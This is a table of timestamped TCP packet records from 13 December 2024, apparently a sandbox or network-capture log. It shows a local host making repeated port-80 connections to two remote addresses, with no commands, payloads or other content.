Dec 13, 2024 08:20:32.304833889 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.304893970 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.305335999 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.306229115 CET	50025	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.418700933 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.425915956 CET	80	50025	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.538393021 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.538525105 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.538599968 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.564805984 CET	80	50026	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:32.564927101 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:32.658313036 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.658493042 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.688888073 CET	80	50028	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:32.688945055 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:32.778237104 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.150299072 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.150362015 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.150880098 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.151840925 CET	50030	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.262813091 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.271589041 CET	80	50030	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.322525024 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:34.322818995 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:34.382539034 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.382636070 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.382735014 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.442562103 CET	80	50036	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:34.442634106 CET	80	50026	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:34.442696095 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:34.442718029 CET	50026	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:34.449744940 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:34.450125933 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.450202942 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.502444983 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.502512932 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.569578886 CET	80	50036	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:34.569895983 CET	80	50037	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.569976091 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.570096016 CET	80	50028	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.570139885 CET	50028	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.573340893 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:34.622278929 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:34.693074942 CET	80	50037	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:35.799340010 CET	80	50036	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:35.799427032 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:35.928637028 CET	80	50037	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:35.928769112 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:35.995721102 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:35.995798111 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:35.995922089 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:35.999026060 CET	50035	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:36.106484890 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:36.118807077 CET	80	50035	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:36.226433039 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:36.226509094 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:36.226598024 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:36.346384048 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:36.346434116 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:36.466237068 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.667924881 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.668054104 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.668143988 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.669537067 CET	50042	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.683105946 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:37.683454037 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:37.778127909 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.789235115 CET	80	50042	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.790472984 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.790756941 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.803272963 CET	80	50045	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:37.803344965 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:37.803380966 CET	80	50036	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:37.803608894 CET	50036	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:37.811259985 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:37.897875071 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.897970915 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.898025990 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.910423040 CET	80	50048	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.910501003 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.910634041 CET	80	50037	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:37.910778999 CET	50037	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.922828913 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:37.931032896 CET	80	50045	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:38.017821074 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:38.017971039 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:38.042571068 CET	80	50048	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:38.137900114 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.143651009 CET	80	50045	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:39.143714905 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:39.254393101 CET	80	50048	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.254466057 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.535553932 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.535573006 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.535675049 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.536990881 CET	50047	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.653204918 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.656795979 CET	80	50047	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.773204088 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.773292065 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.773395061 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:39.893205881 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:39.893276930 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:40.013060093 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:40.684719086 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:40.684885979 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:40.804748058 CET	80	50056	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:40.804833889 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:40.804974079 CET	80	50045	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:40.805037022 CET	50045	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:40.805394888 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:40.846985102 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:40.847327948 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:40.925091982 CET	80	50056	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:40.967067003 CET	80	50048	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:40.967087030 CET	80	50058	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:40.967138052 CET	50048	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:40.967222929 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:40.973630905 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.093467951 CET	80	50058	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.373684883 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.373857975 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.374001026 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.375049114 CET	50053	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.481267929 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.494729996 CET	80	50053	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.601041079 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.601174116 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.601263046 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.721005917 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:41.721060991 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:41.840858936 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:42.159787893 CET	80	50056	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:42.159878016 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:42.330790997 CET	80	50058	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:42.331341982 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.040301085 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.040493965 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.040553093 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.041712046 CET	50060	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.153235912 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.161429882 CET	80	50060	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.273119926 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.273288012 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.273325920 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.393079996 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.393178940 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.512984991 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:43.860069036 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:43.860528946 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:43.970613003 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.970797062 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:43.981051922 CET	80	50068	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:43.981182098 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:43.981204033 CET	80	50056	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:43.981266975 CET	50056	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:44.001538038 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:44.090478897 CET	80	50069	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:44.090562105 CET	80	50058	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:44.090562105 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:44.090708971 CET	50058	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:44.104129076 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:44.122323036 CET	80	50068	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:44.226444960 CET	80	50069	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:44.965233088 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:44.965250015 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:44.965341091 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:44.966675043 CET	50064	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:45.074953079 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:45.086652994 CET	80	50064	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:45.194730043 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:45.194870949 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:45.194926977 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:45.314857960 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:45.314944029 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:45.331218004 CET	80	50068	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:45.331315994 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:45.510889053 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:45.510905981 CET	80	50069	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:45.511039972 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:46.738065958 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:46.738092899 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:46.738178015 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:46.739494085 CET	50071	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:46.840610027 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:46.859684944 CET	80	50071	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:46.888966084 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:46.889595985 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:46.962245941 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:46.962379932 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:46.962507963 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.009279966 CET	80	50068	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:47.009373903 CET	50068	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:47.009390116 CET	80	50073	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:47.009460926 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:47.025933027 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:47.082237005 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:47.082308054 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.146325111 CET	80	50073	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:47.202286959 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:47.215924025 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.216209888 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.336550951 CET	80	50074	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:47.336714983 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.336831093 CET	80	50069	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:47.336889029 CET	50069	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.356914043 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:47.477296114 CET	80	50074	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.363445044 CET	80	50073	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:48.363593102 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:48.410593033 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.410756111 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.410808086 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.412065983 CET	50072	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.528040886 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.532035112 CET	80	50072	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.647856951 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.648004055 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.648075104 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.678179026 CET	80	50074	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.678236961 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.767801046 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:48.767887115 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:48.887681961 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.051182032 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:50.051497936 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:50.111821890 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.112091064 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.112200975 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.113161087 CET	50075	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.171484947 CET	80	50076	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:50.171587944 CET	80	50073	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:50.171632051 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:50.171889067 CET	50073	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:50.202734947 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:50.227349043 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.232860088 CET	80	50075	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.322757959 CET	80	50076	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:50.347660065 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.347785950 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.347898006 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.467818022 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.467912912 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.545242071 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.549175978 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.587837934 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.665453911 CET	80	50074	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.665602922 CET	50074	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.669044971 CET	80	50078	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:50.669151068 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.776253939 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:50.896120071 CET	80	50078	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:51.517194986 CET	80	50076	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:51.517357111 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:52.001760960 CET	80	50078	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.001837015 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.009980917 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.010173082 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.010229111 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.011396885 CET	50077	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.121866941 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.131109953 CET	80	50077	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.241709948 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.241946936 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.242399931 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.362199068 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:52.362292051 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:52.482039928 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.126157999 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:53.126485109 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:53.246232986 CET	80	50080	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:53.246292114 CET	80	50076	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:53.246381998 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:53.246438026 CET	50076	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:53.338649988 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:53.458548069 CET	80	50080	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:53.697333097 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.697369099 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.697489977 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.698909044 CET	50079	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.787928104 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.788304090 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.810581923 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.818639994 CET	80	50079	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.908113956 CET	80	50081	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.908190012 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.908349037 CET	80	50078	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.908397913 CET	50078	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.930463076 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:53.932317019 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.933423042 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:53.941865921 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:54.054076910 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:54.054136992 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:54.062266111 CET	80	50081	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:54.174331903 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:54.595560074 CET	80	50080	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:54.595634937 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:55.273482084 CET	80	50081	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.273746967 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.388273954 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.388302088 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.388375044 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.389740944 CET	50082	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.496951103 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.509489059 CET	80	50082	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.616930962 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.617063046 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.617187977 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.737149954 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:55.737279892 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:55.857165098 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:56.574729919 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:56.575124025 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:56.694765091 CET	80	50080	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:56.694797039 CET	80	50084	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:56.694912910 CET	50080	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:56.694960117 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:56.862883091 CET	50084	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:56.972306013 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:56.972908020 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:56.983350992 CET	80	50084	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:57.086164951 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.086209059 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.086319923 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.087752104 CET	50083	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.092359066 CET	80	50081	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.092406034 CET	50081	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.092668056 CET	80	50085	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.092727900 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.119396925 CET	50085	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.200016975 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.207436085 CET	80	50083	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.239610910 CET	80	50085	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.320420980 CET	80	50086	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.320593119 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.320593119 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.440392017 CET	80	50086	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:57.440711021 CET	50086	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:57.560465097 CET	80	50086	185.81.68.147	192.168.2.11
